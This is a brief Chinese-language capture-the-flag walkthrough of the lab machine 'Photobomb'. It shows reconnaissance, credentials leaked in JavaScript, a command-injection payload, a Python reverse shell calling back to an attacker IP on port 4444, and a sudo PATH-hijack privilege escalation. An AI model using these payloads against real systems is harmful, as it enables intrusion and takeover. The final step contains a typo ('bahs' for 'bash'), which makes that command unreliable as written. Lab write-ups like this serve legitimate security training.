Photobomb 测试过程
1 端口扫描
nmap -sC -sV 10.129.57.210
2 测试思路
目标开启了22、80端口,所以测试点还是从80端口开始。
针对80端口的测试:
1.目录扫描
2.网页源代码
3.web漏洞
3 Web漏洞探测
echo "10.129.57.210 photobomb.htb" | sudo tee -a /etc/hosts
1.查看网页源代码
2.在网页源代码中,发现 photobomb.js
和 /printer
两个路径。点击 /printer 跳转到认证页面 http://photobomb.htb/printer
3.点击 photobomb.js
查看js代码,发现在代码中存在链接http://pH0t0:b0Mb!@photobomb.htb/printer
,访问该链接,成功绕过身份验证进入登录后页面,并且在该链接中存在登录的用户名和密码:pH0t0:b0Mb!
4.使用获取到的pH0t0:b0Mb!
登录,并抓取下载图片的请求包
5.图片的下载是POST请求,可以尝试对参数进行命令注入测试
payload:;id
6.响应包没有返回有用的输出,利用是否返回ICMP报文观察请求命令是否执行
ping -c 3 10.10.14.6
7.成功获得ICMP报文,证明漏洞存在,对payload进行url编码进行反弹shell
# payload
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
4 权限提升
sudo -l
输出(root) SETENV: NOPASSWD: /opt/cleanup.sh
,输出显示web用户可以使用root权限执行 /opt/cleanup.sh脚本
cat /opt/cleanup.sh
在cleanup.sh脚本中,$PATH的查找名为find,在find中写入实例bash,然后以root权限运行cleanup.sh文件,成功获取到root权限
echo bahs > find
chmod +x find
sudo PATH=$PWD:$PATH /opt/cleanup.sh